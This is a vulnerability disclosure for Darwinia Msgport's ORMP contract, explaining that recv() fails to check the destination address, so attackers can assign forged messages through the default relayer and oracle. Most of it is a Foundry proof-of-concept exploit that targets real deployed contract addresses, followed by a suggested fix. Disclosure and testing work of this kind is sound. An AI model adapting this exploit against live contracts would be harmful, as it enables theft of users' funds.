Darwinia is currently at the forefront of developing innovative cross-chain service solutions, with a strategic focus on enhancing the cross-chain capabilities of decentralized applications.
In the evolving landscape of blockchain technology, the need for interoperability and seamless communication between diverse blockchains has never been more critical. Msgport, a groundbreaking initiative by Darwinia, stands at the forefront of this challenge, offering a robust solution for cross-chain messaging. With a focus on facilitating effortless asset and information transfer across blockchains, Msgport is revolutionizing the way applications communicate in Web 3.0.
This write-up focuses on vulnerability in the core component of Darwinia which is MsgPort’s ORMP
The ORMP contract is used to do cross-chain messaging by Dapps also known as User Application(UA). The flow of the ORMP protocol follows:
-------------------------L1------------------------ --------L2-----------
UA --> send() --> relayer::assign() --> oracle::assign() --> recv() --> UA
The relayer is responsible for taking messages from one chain to another chain's UA.
The oracle is responsible for verifying the authenticity of the message.
The bug lies in the ORMP::recv()
function where the message.to
which is the destination address is not verified.
It can be the default relayer/oracle, since the relayer and oracle both are the core parts to carry the message to another chain, an attacker could assign a forged message to the default relayer and oracle on behalf of another UA.
Submitting msghash
to the relayer and oracle onbehalf of other UA leads to loss of funds or other UA-related misuses.
Proof of concept:
The poc is tested via the Foundry test suite under ORMP
the project’s repo. Run with the appropriate RPC URL and forge test
URL.
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "src/interfaces/IORMP.sol";
import "src/Common.sol";
contract MockOracle {
function verifyMessageProof(uint256 fromChainId, bytes32 msgHash, bytes calldata proof) external view returns (bool) {
return true;
}
}
contract Mock_UA {
address ormp = 0x00000000001523057a05d6293C1e5171eE33eE0A;
address auth_sender = address(2);
function rcv_msg(address from) external returns(bool) {
require(ormp == msg.sender, "!auth");
require(from == auth_sender, "!invalid from");
return true;
}
}
contract ormp_poc is Test {
uint mainnet_fork;
uint arb_fork;
MockOracle mc;
MockOracle mc1;
Mock_UA mu;
address relayer = 0x0000000000808fE9bDCc1d180EfbF5C53552a6b1;
address oracle = 0x0000000003ebeF32D8f0ED406a5CA8805c80AFba;
function setUp() public {
mainnet_fork = vm.createFork("https://mainnet.infura.io/v3/YOUR_KEY");
arb_fork = vm.createFork("https://mainnet.infura.io/v3/YOUR_KEY");
}
function test_poc() public {
vm.selectFork(mainnet_fork);
deploy_mock_ua();
vm.selectFork(arb_fork);
uint d = IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).LOCAL_CHAINID();
Message memory msg1 = Message({
channel: address(0x00000000001523057a05d6293C1e5171eE33eE0A),
index: 4,
fromChainId: d,
from: address(2),
toChainId: 1,
to: address(mu),
gasLimit: 250000,
encoded: abi.encodeWithSignature("rcv_msg(address)",address(2))
});
bytes32 msghash = keccak256(abi.encode(msg1));
vm.selectFork(mainnet_fork);
vm.prank(address(1));
IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).send{value: 0.001 ether}(42161,relayer,250000,abi.encodeWithSignature("assign(bytes32,bytes)",msghash,new bytes(0)),address(1),new bytes(0));
IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).send{value: 0.001 ether}(42161,oracle,250000,abi.encodeWithSignature("assign(bytes32)",msghash),address(1),new bytes(0));
set_config();
vm.selectFork(arb_fork);
uint c = IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).LOCAL_CHAINID();
Message memory msg2 = Message({
channel: address(0x00000000001523057a05d6293C1e5171eE33eE0A),
index: 2,
fromChainId: 1,
from: address(1),
toChainId: c,
to: relayer,
gasLimit: 250000,
encoded: abi.encodeWithSignature("assign(bytes32,bytes)",msghash,new bytes(0))
});
Message memory msg3 = Message({
channel: address(0x00000000001523057a05d6293C1e5171eE33eE0A),
index: 3,
fromChainId: 1,
from: address(1),
toChainId: c,
to: oracle,
gasLimit: 250000,
encoded: abi.encodeWithSignature("assign(bytes32)",msghash)
});
vm.selectFork(arb_fork);
vm.prank(relayer);
IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).recv(msg2,new bytes(0));
vm.prank(relayer);
IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).recv(msg3,new bytes(0));
set_config_l1();
vm.selectFork(mainnet_fork);
vm.prank(relayer);
IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).recv(msg1,new bytes(0));
}
function set_config() public {
vm.selectFork(arb_fork);
mc = new MockOracle();
vm.makePersistent(address(mc));
vm.prank(relayer);
IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).setAppConfig(address(mc),address(0));
vm.prank(oracle);
IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).setAppConfig(address(mc),address(0));
}
function set_config_l1() public {
vm.selectFork(mainnet_fork);
mc1 = new MockOracle();
vm.makePersistent(address(mc1));
vm.makePersistent(address(mc1));
vm.prank(address(mu));
IORMP(0x00000000001523057a05d6293C1e5171eE33eE0A).setAppConfig(address(mc1),address(0));
}
function deploy_mock_ua() public {
vm.selectFork(mainnet_fork);
mu = new Mock_UA();
vm.makePersistent(address(mu));
}
}
Revert when message.encoded
is Relayer's assign(bytes32, bytes)
and Oracle's assign(bytes32)
function selector on recv()
function.
Blocking these function selectors can prevent this attack.